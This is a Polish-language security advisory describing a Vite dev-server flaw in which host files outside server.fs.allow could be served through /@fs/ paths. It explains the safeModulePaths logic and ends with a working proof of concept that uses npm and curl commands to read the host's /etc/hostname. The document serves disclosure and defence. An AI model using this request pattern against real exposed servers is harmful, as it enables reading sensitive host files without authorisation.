Vite: Pliki spoza `server.fs.allow` mogły być serwowane, gdy ścieżki projektu odpowiadają ścieżkom systemowym na maszynach innych niż Windows

Podsumowanie

Zawartość plików spoza konfiguracji server.fs może zostać zwrócona do przeglądarki, jeśli projekt importuje ścieżkę pliku połączoną z root. Na przykład, jeśli projekt odwołuje się do <path-to-project-root>/etc/hosts, możliwe było zwrócenie zawartości /etc/hosts.

Zawartość plików spoza opcji server.fs.allow może zostać zwrócona do przeglądarki, gdy projekt importuje plik, którego ścieżka względem katalogu głównego projektu odpowiada bezwzględnej ścieżce na hoście. Na przykład odwołanie do <project-root>/etc/hosts mogło sprawić, że Vite zwróci plik /etc/hosts hosta.

Wpływ

Podatne są wyłącznie aplikacje spełniające wszystkie poniższe warunki:

• serwer deweloperski Vite jest jawnie udostępniony w sieci (za pomocą --host lub opcji server.host))),
• zawierają importowany plik, którego adres URL w przeglądarce względem katalogu głównego jest jednocześnie bezwzględną ścieżką do możliwego do odczytu pliku na hoście,
• poufny plik nie pasuje do reguły server.fs.deny),
• serwer deweloperski nie działa w systemie Windows.

Szczegóły

Gdy Vite analizuje import wewnątrz katalogu głównego, przepisuje rozwiązany identyfikator modułu na adres URL przeglądarki, taki jak /etc/hostname. W wersjach dotkniętych podatnością Vite konwertuje ten adres URL za pomocą fsPathFromUrl i dodaje wynik do safeModulePaths. Ponieważ fsPathFromUrl zapewnia wiodący ukośnik bez rozwiązywania adresu URL względem katalogu głównego projektu, adres URL projektu /etc/hostname jest rejestrowany tak, jakby był bezwzględną ścieżką w systemie plików /etc/hostname.

Przy późniejszym żądaniu do /@fs/etc/hostname oprogramowanie pośredniczące bezpośredniego dostępu do systemu plików interpretuje /etc/hostname jako ścieżkę bezwzględną. Kontrola dostępu stosuje server.fs.deny, a następnie akceptuje ścieżki obecne w safeModulePaths przed sprawdzeniem server.fs.allow. W rezultacie żądanie może zwrócić plik hosta zamiast pliku projektu, który pierwotnie wypełnił safeModulePaths.

PoC

Poniższy przykład wymaga systemu Linux z możliwością odczytu pliku /etc/hostname:

$ mkdir vite-safe-module-path-poc
$ cd vite-safe-module-path-poc
$ npm init -y
$ npm install vite@8.3.1
$ mkdir -p etc
$ echo 'PROJECT-DECOY\n' > etc/hostname
$ echo 'import "./etc/hostname"\n' > main.js
$ npx vite --host 127.0.0.1

W osobnym terminalu:

$ curl -o /dev/null -s -w '%{http_code}\n' http://127.0.0.1:5173/main.js
200
$ curl -sS -o response -w '%{http_code}\n' http://127.0.0.1:5173/@fs/etc/hostname
200
$ cmp -s response /etc/hostname && echo 'response matches host file'
response matches host file